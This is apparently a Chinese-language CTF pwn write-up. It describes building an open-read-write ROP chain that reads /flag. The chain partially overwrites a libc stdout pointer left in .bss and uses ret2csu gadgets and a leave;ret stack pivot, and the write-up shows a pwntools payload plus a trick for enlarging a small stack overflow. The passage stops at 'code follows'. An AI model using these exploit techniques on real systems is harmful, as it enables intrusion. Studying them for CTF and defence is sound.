在给出libc版本下(或泄露出libc),我们可以通过partial write将bss区上残留有关libc的指针恶意修改为一些函数的地址,再通过对其进行利用来实现orw等效果。
若elf里有csu_gadget,则我们可控rdx为任意值,可以大大方便我们的打法。
我们最终目的是将这坨东西写进去就行了(栈迁移)
bss_stdout_addr = 0x601070
bss_addr = 0x601400
base_struct = flat([
b'/flag\\x00\\x00\\x00',
CurrentGadgets.ret2csu(edi=0, rsi=bss_stdout_addr, rdx=3, call_array_addr=elf.got['read']), # patial write1 -> open
CurrentGadgets.ret2csu(edi=bss_addr, rsi=0, rdx=0, call_array_addr=bss_stdout_addr), # call open
CurrentGadgets.ret2csu(edi=0, rsi=bss_stdout_addr, rdx=3, call_array_addr=elf.got['read']), # patial write2 -> read
CurrentGadgets.ret2csu(edi=3, rsi=bss_addr-0x100, rdx=0x50, call_array_addr=bss_stdout_addr), # call read
CurrentGadgets.ret2csu(edi=0, rsi=bss_stdout_addr, rdx=3, call_array_addr=elf.got['read']), # patial write3 -> write
CurrentGadgets.ret2csu(edi=1, rsi=bss_addr-0x100, rdx=0x50, call_array_addr=bss_stdout_addr) # call write
])
这一块东西会不断调用read来使得bss区上的IO_2_1_stdout通过partial write为open/read/write,然后再通过csu_gadget控制寄存器将最后的call指向bss_stdout来实现调用。
这个base_struct需要布置到bss区上,所以在此之前需要能够调用到一个ret2csu读入这么大的数据
pad = flat([
CurrentGadgets.ret2csu(edi=0, rsi=bss_addr, rdx=0x2d8, call_array_addr=elf.got['read']),
CurrentGadgets.pop_rbp_ret(), bss_addr,
CurrentGadgets.leave_ret()
])
这块长度为0x90,调用这一块就能读入0x2d8的布置栈。
当栈溢出长度小于0x90的时候,就需要用到一个小技巧。
比如只能读入0x64大小,而且开始的padding为0x18。
这个时候先写入一个read到bss区,将可控大小变为0x64,
再通过往0x64的可控大小里面写入read,可实现0x64*3大小的可控。
也就是通过这种类似页映射的效果,可以实现三次方的量级可控扩展。
个人感觉这个最为精髓,有目的地进行溢出漏洞的扩大化。
从栈上的小溢出,迁移到bss区上的大溢出,再从bss区扩展到更大的bss区,起码是2次方级的利用。
之后再往里灌第一个csugadget,实现rdx任意化,后续模板就可以接着套了。
代码如下: